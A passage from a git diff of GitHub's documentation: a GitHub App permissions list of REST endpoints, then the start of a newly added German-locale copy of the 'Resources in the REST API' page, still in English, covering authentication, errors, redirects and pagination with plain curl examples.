+- [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (read)
+
+## Pages
+
+GitHub Pages can only be created or unpublished by a repository owner or administrator.
+
+- [`GET /repos/:owner/:repo/pages`](/rest/reference/pages#get-a-github-pages-site) (read)
+- [`PUT /repos/:owner/:repo/pages`](/rest/reference/pages#update-information-about-a-github-pages-site) (write)
+- [`GET /repos/:owner/:repo/pages/builds`](/rest/reference/pages#list-github-pages-builds) (read)
+- [`POST /repos/:owner/:repo/pages/builds`](/rest/reference/pages#request-a-github-pages-build) (write)
+- [`GET /repos/:owner/:repo/pages/builds/:build_id`](/rest/reference/pages#get-github-pages-build) (read)
+- [`GET /repos/:owner/:repo/pages/builds/latest`](/rest/reference/pages#get-latest-pages-build) (read)
+{% ifversion fpt or ghec -%}
+- [`GET /repos/:owner/:repo/pages/health`](/rest/reference/pages#get-a-dns-health-check-for-github-pages) (write)
+- [`POST /repos/:owner/:repo/pages/deployment`](/rest/reference/repos#create-a-github-pages-deployment) (write)
+{% endif %}
+
+## Profile
+
+- [`PATCH /user`](/rest/reference/users#update-the-authenticated-user) (write)
+
+## Pull requests
+
+Pull requests and issues are closely related. If your GitHub App has permissions on pull requests but not on issues, these endpoints will be limited to pull requests. Endpoints that return both pull requests and issues will be filtered. Endpoints that allow operations on both pull requests and issues will be restricted to pull requests.
+
+- [`PATCH /repos/:owner/:repo/issues/:issue_number`](/rest/reference/issues#update-an-issue) (write)
+- [`GET /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#list-issue-comments) (read)
+- [`POST /repos/:owner/:repo/issues/:issue_number/comments`](/rest/reference/issues#create-an-issue-comment) (write)
+- [`PUT /repos/:owner/:repo/issues/:issue_number/lock`](/rest/reference/issues#lock-an-issue) (write)
+- [`DELETE /repos/:owner/:repo/issues/:issue_number/lock`](/rest/reference/issues#unlock-an-issue) (write)
+- [`GET /repos/:owner/:repo/issues/:issue_number/timeline`](/rest/reference/issues#list-timeline-events-for-an-issue) (read)
+- [`GET /repos/:owner/:repo/issues/comments`](/rest/reference/issues#list-issue-comments-for-a-repository) (read)
+- [`GET /repos/:owner/:repo/issues/comments/:comment_id`](/rest/reference/issues#get-an-issue-comment) (read)
+- [`PATCH /repos/:owner/:repo/issues/comments/:comment_id`](/rest/reference/issues#update-an-issue-comment) (write)
+- [`DELETE /repos/:owner/:repo/issues/comments/:comment_id`](/rest/reference/issues#delete-an-issue-comment) (write)
+- [`GET /repos/:owner/:repo/pulls`](/rest/reference/pulls#list-pull-requests) (read)
+- [`POST /repos/:owner/:repo/pulls`](/rest/reference/pulls#create-a-pull-request) (write)
+- [`GET /repos/:owner/:repo/pulls/:pull_number`](/rest/reference/pulls#get-a-pull-request) (read)
+- [`PATCH /repos/:owner/:repo/pulls/:pull_number`](/rest/reference/pulls#update-a-pull-request) (write)
+- [`GET /repos/:owner/:repo/pulls/:pull_number/comments`](/rest/reference/pulls#list-review-comments-on-a-pull-request) (read)
+- [`POST /repos/:owner/:repo/pulls/:pull_number/comments`](/rest/reference/pulls#create-a-review-comment-for-a-pull-request) (write)
+- [`GET /repos/:owner/:repo/pulls/:pull_number/commits`](/rest/reference/pulls#list-commits-on-a-pull-request) (read)
+- [`GET /repos/:owner/:repo/pulls/:pull_number/files`](/rest/reference/pulls#list-pull-requests-files) (read)
+- [`GET /repos/:owner/:repo/pulls/:pull_number/merge`](/rest/reference/pulls#check-if-a-pull-request-has-been-merged) (read)
+- [`GET /repos/:owner/:repo/pulls/comments`](/rest/reference/pulls#list-review-comments-in-a-repository) (read)
+- [`GET /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#get-a-review-comment-for-a-pull-request) (read)
+- [`PATCH /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#update-a-review-comment-for-a-pull-request) (write)
+- [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id`](/rest/reference/pulls#delete-a-review-comment-for-a-pull-request) (write)
+
+### Assignees
+- [`GET /repos/:owner/:repo/assignees`](/rest/reference/issues#list-assignees) (read)
+- [`GET /repos/:owner/:repo/assignees/:username`](/rest/reference/issues#check-if-a-user-can-be-assigned) (read)
+- [`POST /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (write)
+- [`DELETE /repos/:owner/:repo/issues/:issue_number/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (write)
+
+### Events
+- [`GET /repos/:owner/:repo/issues/:issue_number/events`](/rest/reference/issues#list-issue-events) (read)
+- [`GET /repos/:owner/:repo/issues/events/:event_id`](/rest/reference/issues#get-an-issue-event) (read)
+- [`POST /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/events`](/rest/reference/pulls#submit-a-review-for-a-pull-request) (write)
+
+### Labels
+- [`GET /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#list-labels-for-an-issue) (read)
+- [`POST /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#add-labels-to-an-issue) (write)
+- [`PUT /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#set-labels-for-an-issue) (write)
+- [`DELETE /repos/:owner/:repo/issues/:issue_number/labels`](/rest/reference/issues#remove-all-labels-from-an-issue) (write)
+- [`DELETE /repos/:owner/:repo/issues/:issue_number/labels/:name`](/rest/reference/issues#remove-a-label-from-an-issue) (write)
+- [`GET /repos/:owner/:repo/labels`](/rest/reference/issues#list-labels-for-a-repository) (read)
+- [`POST /repos/:owner/:repo/labels`](/rest/reference/issues#create-a-label) (write)
+- [`GET /repos/:owner/:repo/labels/:name`](/rest/reference/issues#get-a-label) (read)
+- [`PATCH /repos/:owner/:repo/labels/:name`](/rest/reference/issues#update-a-label) (write)
+- [`DELETE /repos/:owner/:repo/labels/:name`](/rest/reference/issues#delete-a-label) (write)
+
+### Milestones
+- [`GET /repos/:owner/:repo/milestones`](/rest/reference/issues#list-milestones) (read)
+- [`POST /repos/:owner/:repo/milestones`](/rest/reference/issues#create-a-milestone) (write)
+- [`GET /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#get-a-milestone) (read)
+- [`PATCH /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#update-a-milestone) (write)
+- [`DELETE /repos/:owner/:repo/milestones/:milestone_number`](/rest/reference/issues#delete-a-milestone) (write)
+- [`GET /repos/:owner/:repo/milestones/:milestone_number/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (read)
+
+### Reactions
+- [`POST /repos/:owner/:repo/issues/:issue_number/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (write)
+- [`GET /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (read)
+- [`POST /repos/:owner/:repo/issues/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (write)
+- [`GET /repos/:owner/:repo/pulls/comments/:comment_id/reactions`](/rest/reference/reactions#list-reactions-for-a-pull-request-review-comment) (read)
+- [`POST /repos/:owner/:repo/pulls/comments/:comment_id/reactions`](/rest/reference/reactions#create-reaction-for-a-pull-request-review-comment) (write)
+- [`DELETE /reactions/:reaction_id`](/rest/reference/reactions#delete-a-reaction-legacy) (write)
+- [`DELETE /repos/:owner/:repo/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-a-commit-comment-reaction) (write)
+- [`DELETE /repos/:owner/:repo/issues/:issue_number/reactions/:reaction_id`](/rest/reference/reactions#delete-an-issue-reaction) (write)
+- [`DELETE /repos/:owner/:repo/issues/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-an-issue-comment-reaction) (write)
+- [`DELETE /repos/:owner/:repo/pulls/comments/:comment_id/reactions/:reaction_id`](/rest/reference/reactions#delete-a-pull-request-comment-reaction) (write)
+- [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-reaction) (write)
+- [`DELETE /orgs/:org/teams/:team_slug/discussions/:discussion_number/comments/:comment_number/reactions/:reaction_id`](/rest/reference/reactions#delete-team-discussion-comment-reaction) (write)
+
+### Requested reviewers
+- [`GET /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#list-requested-reviewers-for-a-pull-request) (read)
+- [`POST /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#request-reviewers-for-a-pull-request) (write)
+- [`DELETE /repos/:owner/:repo/pulls/:pull_number/requested_reviewers`](/rest/reference/pulls#remove-requested-reviewers-from-a-pull-request) (write)
+
+### Reviews
+- [`GET /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#list-reviews-for-a-pull-request) (read)
+- [`POST /repos/:owner/:repo/pulls/:pull_number/reviews`](/rest/reference/pulls#create-a-review-for-a-pull-request) (write)
+- [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id`](/rest/reference/pulls#get-a-review-for-a-pull-request) (read)
+- [`PUT /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id`](/rest/reference/pulls#update-a-review-for-a-pull-request) (write)
+- [`DELETE /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id`](/rest/reference/pulls#delete-a-pending-review-for-a-pull-request) (write)
+- [`GET /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/comments`](/rest/reference/pulls#list-comments-for-a-pull-request-review) (read)
+- [`PUT /repos/:owner/:repo/pulls/:pull_number/reviews/:review_id/dismissals`](/rest/reference/pulls#dismiss-a-review-for-a-pull-request) (write)
+
+{% ifversion ghes %}
+## Repository pre-receive hooks
+
+- [`GET /repos/:owner/:repo/pre-receive-hooks`](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-a-repository) (read)
+- [`GET /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-a-repository) (read)
+- [`PATCH /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository) (write)
+- [`DELETE /repos/:owner/:repo/pre-receive-hooks/:pre_receive_hook_id`](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository) (write)
+{% endif %}
+
+## Repository projects
+
+- [`GET /projects/:project_id`](/rest/reference/projects#get-a-project) (read)
+- [`PATCH /projects/:project_id`](/rest/reference/projects#update-a-project) (write)
+- [`DELETE /projects/:project_id`](/rest/reference/projects#delete-a-project) (write)
+- [`POST /projects/:project_id/cards`](/rest/reference/projects#create-a-project-card) (write)
+- [`GET /projects/:project_id/columns`](/rest/reference/projects#list-project-columns) (read)
+- [`POST /projects/:project_id/columns`](/rest/reference/projects#create-a-project-column) (write)
+- [`GET /projects/columns/:column_id`](/rest/reference/projects#get-a-project-column) (read)
+- [`PATCH /projects/columns/:column_id`](/rest/reference/projects#update-a-project-column) (write)
+- [`DELETE /projects/columns/:column_id`](/rest/reference/projects#delete-a-project-column) (write)
+- [`GET /projects/columns/:column_id/cards`](/rest/reference/projects#list-project-cards) (read)
+- [`POST /projects/columns/:column_id/cards`](/rest/reference/projects#create-a-project-card) (write)
+- [`POST /projects/columns/:column_id/moves`](/rest/reference/projects#move-a-project-column) (write)
+- [`GET /projects/columns/cards/:card_id`](/rest/reference/projects#get-a-project-card) (read)
+- [`PATCH /projects/columns/cards/:card_id`](/rest/reference/projects#update-a-project-card) (write)
+- [`DELETE /projects/columns/cards/:card_id`](/rest/reference/projects#delete-a-project-card) (write)
+- [`POST /projects/columns/cards/:card_id/moves`](/rest/reference/projects#move-a-project-card) (write)
+- [`GET /repos/:owner/:repo/projects`](/rest/reference/projects#list-repository-projects) (read)
+- [`POST /repos/:owner/:repo/projects`](/rest/reference/projects#create-a-repository-project) (write)
+
+### Teams
+- [`DELETE /teams/:team_id/projects/:project_id`](/rest/reference/teams#remove-a-project-from-a-team) (read)
+
+## Repository webhooks
+
+- [`GET /repos/:owner/:repo/hooks`](/rest/reference/webhooks#list-repository-webhooks) (read)
+- [`POST /repos/:owner/:repo/hooks`](/rest/reference/webhooks#create-a-repository-webhook) (write)
+- [`GET /repos/:owner/:repo/hooks/:hook_id`](/rest/reference/webhooks#get-a-repository-webhook) (read)
+- [`PATCH /repos/:owner/:repo/hooks/:hook_id`](/rest/reference/webhooks#update-a-repository-webhook) (write)
+- [`DELETE /repos/:owner/:repo/hooks/:hook_id`](/rest/reference/webhooks#delete-a-repository-webhook) (write)
+- [`POST /repos/:owner/:repo/hooks/:hook_id/pings`](/rest/reference/webhooks#ping-a-repository-webhook) (read)
+- [`POST /repos/:owner/:repo/hooks/:hook_id/tests`](/rest/reference/repos#test-the-push-repository-webhook) (read)
+
+{% ifversion fpt or ghec %}
+## Secrets
+
+- [`GET /repos/:owner/:repo/actions/secrets/public-key`](/rest/reference/actions#get-a-repository-public-key) (read)
+- [`GET /repos/:owner/:repo/actions/secrets`](/rest/reference/actions#list-repository-secrets) (read)
+- [`GET /repos/:owner/:repo/actions/secrets/:secret_name`](/rest/reference/actions#get-a-repository-secret) (read)
+- [`PUT /repos/:owner/:repo/actions/secrets/:secret_name`](/rest/reference/actions#create-or-update-a-repository-secret) (write)
+- [`DELETE /repos/:owner/:repo/actions/secrets/:secret_name`](/rest/reference/actions#delete-a-repository-secret) (write)
+- [`GET /orgs/:org/actions/secrets/public-key`](/rest/reference/actions#get-an-organization-public-key) (read)
+- [`GET /orgs/:org/actions/secrets`](/rest/reference/actions#list-organization-secrets) (read)
+- [`GET /orgs/:org/actions/secrets/:secret_name`](/rest/reference/actions#get-an-organization-secret) (read)
+- [`PUT /orgs/:org/actions/secrets/:secret_name`](/rest/reference/actions#create-or-update-an-organization-secret) (write)
+- [`GET /orgs/:org/actions/secrets/:secret_name/repositories`](/rest/reference/actions#list-selected-repositories-for-an-organization-secret) (read)
+- [`PUT /orgs/:org/actions/secrets/:secret_name/repositories`](/rest/reference/actions#set-selected-repositories-for-an-organization-secret) (write)
+- [`PUT /orgs/:org/actions/secrets/:secret_name/repositories/:repository_id`](/rest/reference/actions#add-selected-repository-to-an-organization-secret) (write)
+- [`DELETE /orgs/:org/actions/secrets/:secret_name/repositories/:repository_id`](/rest/reference/actions#remove-selected-repository-from-an-organization-secret) (write)
+- [`DELETE /orgs/:org/actions/secrets/:secret_name`](/rest/reference/actions#delete-an-organization-secret) (write)
+{% endif %}
+
+{% ifversion ghes or ghec %}
+## Secret scanning alerts
+
+- [`GET /repos/:owner/:repo/secret-scanning/alerts`](/rest/reference/secret-scanning#list-secret-scanning-alerts-for-a-repository) (read)
+- [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#get-a-secret-scanning-alert) (read)
+- [`PATCH /repos/:owner/:repo/secret-scanning/alerts/:alert_number`](/rest/reference/secret-scanning#update-a-secret-scanning-alert) (write)
+- [`GET /repos/:owner/:repo/secret-scanning/alerts/:alert_number/locations`](/rest/reference/secret-scanning#list-locations-for-a-secret-scanning-alert) (read)
+{% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+## Self-hosted runners
+
+- [`GET /orgs/:org/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-an-organization) (read)
+- [`POST /orgs/:org/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-an-organization) (write)
+- [`GET /orgs/:org/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-an-organization) (read)
+- [`GET /orgs/:org/actions/runners/:runner_id`](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization) (read)
+- [`POST /orgs/:org/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-an-organization) (write)
+- [`DELETE /orgs/:org/actions/runners/:runner_id`](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization) (write)
+- [`GET /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-an-organization) (read)
+- [`POST /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-an-organization) (write)
+- [`PUT /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-an-organization) (write)
+- [`DELETE /orgs/:org/actions/runners/:runner_id/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-an-organization) (write)
+- [`DELETE /orgs/:org/actions/runners/:runner_id/labels/:name`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-an-organization) (write)
+{% endif %}
+
+## Single file
+
+- [`GET /repos/:owner/:repo/contents/:path`](/rest/reference/repos#get-repository-content) (read)
+- [`PUT /repos/:owner/:repo/contents/:path`](/rest/reference/repos#create-or-update-file-contents) (write)
+- [`DELETE /repos/:owner/:repo/contents/:path`](/rest/reference/repos#delete-a-file) (write)
+
+## Starring
+
+- [`GET /user/starred/:owner/:repo`](/rest/reference/activity#check-if-a-repository-is-starred-by-the-authenticated-user) (read)
+- [`PUT /user/starred/:owner/:repo`](/rest/reference/activity#star-a-repository-for-the-authenticated-user) (write)
+- [`DELETE /user/starred/:owner/:repo`](/rest/reference/activity#unstar-a-repository-for-the-authenticated-user) (write)
+
+## Team discussions
+
+- [`GET /teams/:team_id/discussions`](/rest/reference/teams#list-discussions) (read)
+- [`POST /teams/:team_id/discussions`](/rest/reference/teams#create-a-discussion) (write)
+- [`GET /teams/:team_id/discussions/:discussion_number`](/rest/reference/teams#get-a-discussion) (read)
+- [`PATCH /teams/:team_id/discussions/:discussion_number`](/rest/reference/teams#update-a-discussion) (write)
+- [`DELETE /teams/:team_id/discussions/:discussion_number`](/rest/reference/teams#delete-a-discussion) (write)
+- [`GET /teams/:team_id/discussions/:discussion_number/comments`](/rest/reference/teams#list-discussion-comments) (read)
+- [`POST /teams/:team_id/discussions/:discussion_number/comments`](/rest/reference/teams#create-a-discussion-comment) (write)
+- [`GET /teams/:team_id/discussions/:discussion_number/comments/:comment_number`](/rest/reference/teams#get-a-discussion-comment) (read)
+- [`PATCH /teams/:team_id/discussions/:discussion_number/comments/:comment_number`](/rest/reference/teams#update-a-discussion-comment) (write)
+- [`DELETE /teams/:team_id/discussions/:discussion_number/comments/:comment_number`](/rest/reference/teams#delete-a-discussion-comment) (write)
+- [`GET /teams/:team_id/discussions/:discussion_number/comments/:comment_number/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion-comment) (read)
+- [`POST /teams/:team_id/discussions/:discussion_number/comments/:comment_number/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion-comment) (write)
+- [`GET /teams/:team_id/discussions/:discussion_number/reactions`](/rest/reference/reactions#list-reactions-for-a-team-discussion) (read)
+- [`POST /teams/:team_id/discussions/:discussion_number/reactions`](/rest/reference/reactions#create-reaction-for-a-team-discussion) (write)
diff --git a/translations/de-DE/content/rest/overview/resources-in-the-rest-api.md b/translations/de-DE/content/rest/overview/resources-in-the-rest-api.md
new file mode 100644
index 0000000000..d0348eb3b4
--- /dev/null
+++ b/translations/de-DE/content/rest/overview/resources-in-the-rest-api.md
@@ -0,0 +1,723 @@
+---
+title: Resources in the REST API
+intro: 'Learn how to navigate the resources provided by the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.'
+redirect_from:
+  - /rest/initialize-the-repo
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 3
+topics:
+  - API
+---
+
+
+This describes the resources that make up the official {% data variables.product.product_name %} REST API. If you have any problems or requests, please contact {% data variables.contact.contact_support %}.
+
+## Schema
+
+{% ifversion fpt or ghec %}All API access is over HTTPS, and{% else %}The API is{% endif %} accessed from `{% data variables.product.api_url_code %}`.  All data is
+sent and received as JSON.
+
+```shell
+$ curl -I {% data variables.product.api_url_pre %}/users/octocat/orgs
+
+> HTTP/2 200
+> Server: nginx
+> Date: Fri, 12 Oct 2012 23:33:14 GMT
+> Content-Type: application/json; charset=utf-8
+> ETag: "a00049ba79152d03380c34652f2cb612"
+> X-GitHub-Media-Type: github.v3
+> x-ratelimit-limit: 5000
+> x-ratelimit-remaining: 4987
+> x-ratelimit-reset: 1350085394{% ifversion ghes %}
+> X-GitHub-Enterprise-Version: {{ currentVersion | remove: "enterprise-server@" }}.0{% elsif ghae %}
+> X-GitHub-Enterprise-Version: GitHub AE{% endif %}
+> Content-Length: 5
+> Cache-Control: max-age=0, private, must-revalidate
+> X-Content-Type-Options: nosniff
+```
+
+Blank fields are included as `null` instead of being omitted.
+
+All timestamps return in UTC time, ISO 8601 format:
+
+    YYYY-MM-DDTHH:MM:SSZ
+
+For more information about timezones in timestamps, see [this section](#timezones).
+
+### Summary representations
+
+When you fetch a list of resources, the response includes a _subset_ of the
+attributes for that resource. This is the "summary" representation of the
+resource. (Some attributes are computationally expensive for the API to provide.
+For performance reasons, the summary representation excludes those attributes.
+To obtain those attributes, fetch the "detailed" representation.)
+
+**Example**: When you get a list of repositories, you get the summary
+representation of each repository. Here, we fetch the list of repositories owned
+by the [octokit](https://github.com/octokit) organization:
+
+    GET /orgs/octokit/repos
+
+### Detailed representations
+
+When you fetch an individual resource, the response typically includes _all_
+attributes for that resource. This is the "detailed" representation of the
+resource. (Note that authorization sometimes influences the amount of detail
+included in the representation.)
+
+**Example**: When you get an individual repository, you get the detailed
+representation of the repository. Here, we fetch the
+[octokit/octokit.rb](https://github.com/octokit/octokit.rb) repository:
+
+    GET /repos/octokit/octokit.rb
+
+The documentation provides an example response for each API method. The example
+response illustrates all attributes that are returned by that method.
+
+## Authentication
+
+{% ifversion ghae %} We recommend authenticating to the {% data variables.product.product_name %} REST API by creating an OAuth2 token through the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow). {% else %} There are two ways to authenticate through {% data variables.product.product_name %} REST API.{% endif %} Requests that require authentication will return `404 Not Found`, instead of `403 Forbidden`, in some places.  This is to prevent the accidental leakage of private repositories to unauthorized users.
+
+### Basic authentication
+
+```shell
+$ curl -u "username" {% data variables.product.api_url_pre %}
+```
+
+### OAuth2 token (sent in a header)
+
+```shell
+$ curl -H "Authorization: Bearer OAUTH-TOKEN" {% data variables.product.api_url_pre %}
+```
+
+{% note %}
+
+Note: GitHub recommends sending OAuth tokens using the Authorization header.
+
+{% endnote %}
+
+{% note %}
+
+**Note:** {% data reusables.getting-started.bearer-vs-token %}
+
+{% endnote %}
+
+Read [more about OAuth2](/apps/building-oauth-apps/).  Note that OAuth2 tokens can be acquired using the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow) for production applications.
+
+{% ifversion fpt or ghes or ghec %}
+### OAuth2 key/secret
+
+{% data reusables.apps.deprecating_auth_with_query_parameters %}
+
+```shell
+curl -u my_client_id:my_client_secret '{% data variables.product.api_url_pre %}/user/repos'
+```
+
+Using your `client_id` and `client_secret` does _not_ authenticate as a user, it will only identify your OAuth App to increase your rate limit. Permissions are only granted to users, not applications, and you will only get back data that an unauthenticated user would see. For this reason, you should only use the OAuth2 key/secret in server-to-server scenarios. Don't leak your OAuth App's client secret to your users.
+
+{% ifversion ghes %}
+You will be unable to authenticate using your OAuth2 key and secret while in private mode, and trying to authenticate will return `401 Unauthorized`. For more information, see "[Enabling private mode](/admin/configuration/configuring-your-enterprise/enabling-private-mode)".
+{% endif %}
+{% endif %}
+
+{% ifversion fpt or ghec %}
+
+Read [more about unauthenticated rate limiting](#increasing-the-unauthenticated-rate-limit-for-oauth-apps).
+
+{% endif %}
+
+### Failed login limit
+
+Authenticating with invalid credentials will return `401 Unauthorized`:
+
+```shell
+$ curl -I {% data variables.product.api_url_pre %} -u foo:bar
+> HTTP/2 401
+
+> {
+>   "message": "Bad credentials",
+>   "documentation_url": "{% data variables.product.doc_url_pre %}"
+> }
+```
+
+After detecting several requests with invalid credentials within a short period,
+the API will temporarily reject all authentication attempts for that user
+(including ones with valid credentials) with `403 Forbidden`:
+
+```shell
+$ curl -i {% data variables.product.api_url_pre %} -u {% ifversion fpt or ghae or ghec %}
+-u VALID_USERNAME:VALID_TOKEN {% endif %}{% ifversion ghes %}-u VALID_USERNAME:VALID_PASSWORD {% endif %}
+> HTTP/2 403
+> {
+>   "message": "Maximum number of login attempts exceeded. Please try again later.",
+>   "documentation_url": "{% data variables.product.doc_url_pre %}"
+> }
+```
+
+## Parameters
+
+Many API methods take optional parameters. For `GET` requests, any parameters not
+specified as a segment in the path can be passed as an HTTP query string
+parameter:
+
+```shell
+$ curl -i "{% data variables.product.api_url_pre %}/repos/vmg/redcarpet/issues?state=closed"
+```
+
+In this example, the 'vmg' and 'redcarpet' values are provided for the `:owner`
+and `:repo` parameters in the path while `:state` is passed in the query
+string.
+
+For `POST`, `PATCH`, `PUT`, and `DELETE` requests, parameters not included in the URL should be encoded as JSON
+with a Content-Type of 'application/json':
+
+```shell
+$ curl -i -u username -d '{"scopes":["repo_deployment"]}' {% data variables.product.api_url_pre %}/authorizations
+```
+
+## Root endpoint
+
+You can issue a `GET` request to the root endpoint to get all the endpoint categories that the REST API supports:
+
+```shell
+$ curl {% ifversion fpt or ghae or ghec %}
+-u USERNAME:TOKEN {% endif %}{% ifversion ghes %}-u USERNAME:PASSWORD {% endif %}{% data variables.product.api_url_pre %}
+```
+
+## GraphQL global node IDs
+
+See the guide on "[Using Global Node IDs](/graphql/guides/using-global-node-ids)" for detailed information about how to find `node_id`s via the REST API and use them in GraphQL operations.
+
+## Client errors
+
+There are three possible types of client errors on API calls that
+receive request bodies:
+
+1. Sending invalid JSON will result in a `400 Bad Request` response.
+
+        HTTP/2 400
+        Content-Length: 35
+
+        {"message":"Problems parsing JSON"}
+
+2. Sending the wrong type of JSON values will result in a `400 Bad
+   Request` response.
+
+        HTTP/2 400
+        Content-Length: 40
+
+        {"message":"Body should be a JSON object"}
+
+3. Sending invalid fields will result in a `422 Unprocessable Entity`
+   response.
+
+        HTTP/2 422
+        Content-Length: 149
+
+        {
+          "message": "Validation Failed",
+          "errors": [
+            {
+              "resource": "Issue",
+              "field": "title",
+              "code": "missing_field"
+            }
+          ]
+        }
+
+All error objects have resource and field properties so that your client
+can tell what the problem is.  There's also an error code to let you
+know what is wrong with the field.  These are the possible validation error
+codes:
+
+Error code name | Description
+-----------|-----------|
+`missing` | A resource does not exist.
+`missing_field` | A required field on a resource has not been set.
+`invalid` | The formatting of a field is invalid.  Review the documentation for more specific information.
+`already_exists` | Another resource has the same value as this field.  This can happen in resources that must have some unique key (such as label names).
+`unprocessable` | The inputs provided were invalid.
+
+Resources may also send custom validation errors (where `code` is `custom`). Custom errors will always have a `message` field describing the error, and most errors will also include a `documentation_url` field pointing to some content that might help you resolve the error.
+
+## HTTP redirects
+
+The {% data variables.product.product_name %} REST API uses HTTP redirection where appropriate. Clients should assume that any
+request may result in a redirection. Receiving an HTTP redirection is *not* an
+error and clients should follow that redirect. Redirect responses will have a
+`Location` header field which contains the URI of the resource to which the
+client should repeat the requests.
+
+Status Code | Description
+-----------|-----------|
+`301` | Permanent redirection. The URI you used to make the request has been superseded by the one specified in the `Location` header field. This and all future requests to this resource should be directed to the new URI.
+`302`, `307` | Temporary redirection. The request should be repeated verbatim to the URI specified in the `Location` header field but clients should continue to use the original URI for future requests.
+
+Other redirection status codes may be used in accordance with the HTTP 1.1 spec.
+
+## HTTP verbs
+
+Where possible, the {% data variables.product.product_name %} REST API strives to use appropriate HTTP verbs for each
+action. Note that HTTP verbs are case-sensitive.
+
+Verb | Description
+-----|-----------
+`HEAD` | Can be issued against any resource to get just the HTTP header info.
+`GET` | Used for retrieving resources.
+`POST` | Used for creating resources.
+`PATCH` | Used for updating resources with partial JSON data. For instance, an Issue resource has `title` and `body` attributes. A `PATCH` request may accept one or more of the attributes to update the resource.
+`PUT` | Used for replacing resources or collections. For `PUT` requests with no `body` attribute, be sure to set the `Content-Length` header to zero.
+`DELETE` |Used for deleting resources.
+
+## Hypermedia
+
+All resources may have one or more `*_url` properties linking to other
+resources.  These are meant to provide explicit URLs so that proper API clients
+don't need to construct URLs on their own.  It is highly recommended that API
+clients use these.  Doing so will make future upgrades of the API easier for
+developers.  All URLs are expected to be proper [RFC 6570][rfc] URI templates.
+
+You can then expand these templates using something like the [uri_template][uri]
+gem:
+
+    >> tmpl = URITemplate.new('/notifications{?since,all,participating}')
+    >> tmpl.expand
+    => "/notifications"
+
+    >> tmpl.expand :all => 1
+    => "/notifications?all=1"
+
+    >> tmpl.expand :all => 1, :participating => 1
+    => "/notifications?all=1&participating=1"
+
+[rfc]: https://datatracker.ietf.org/doc/html/rfc6570
+[uri]: https://github.com/hannesg/uri_template
+
+## Pagination
+
+Requests that return multiple items will be paginated to 30 items by
+default.  You can specify further pages with the `page` parameter. For some
+resources, you can also set a custom page size up to 100 with the `per_page` parameter.
+Note that for technical reasons not all endpoints respect the `per_page` parameter,
+see [events](/rest/reference/activity#events) for example.
+
+```shell
+$ curl '{% data variables.product.api_url_pre %}/user/repos?page=2&per_page=100'
+```
+
+Note that page numbering is 1-based and that omitting the `page`
+parameter will return the first page.
+
+Some endpoints use cursor-based pagination. A cursor is a string that points to a location in the result set.
+With cursor-based pagination, there is no fixed concept of "pages" in the result set, so you can't navigate to a specific page.
+Instead, you can traverse the results by using the `before` or `after` parameters.
+
+For more information on pagination, check out our guide on [Traversing with Pagination][pagination-guide].
+
+### Link header
+
+{% note %}
+
+**Note:** It's important to form calls with Link header values instead of constructing your own URLs.
+
+{% endnote %}
+
+The [Link header](https://datatracker.ietf.org/doc/html/rfc5988) includes pagination information. For example:
+
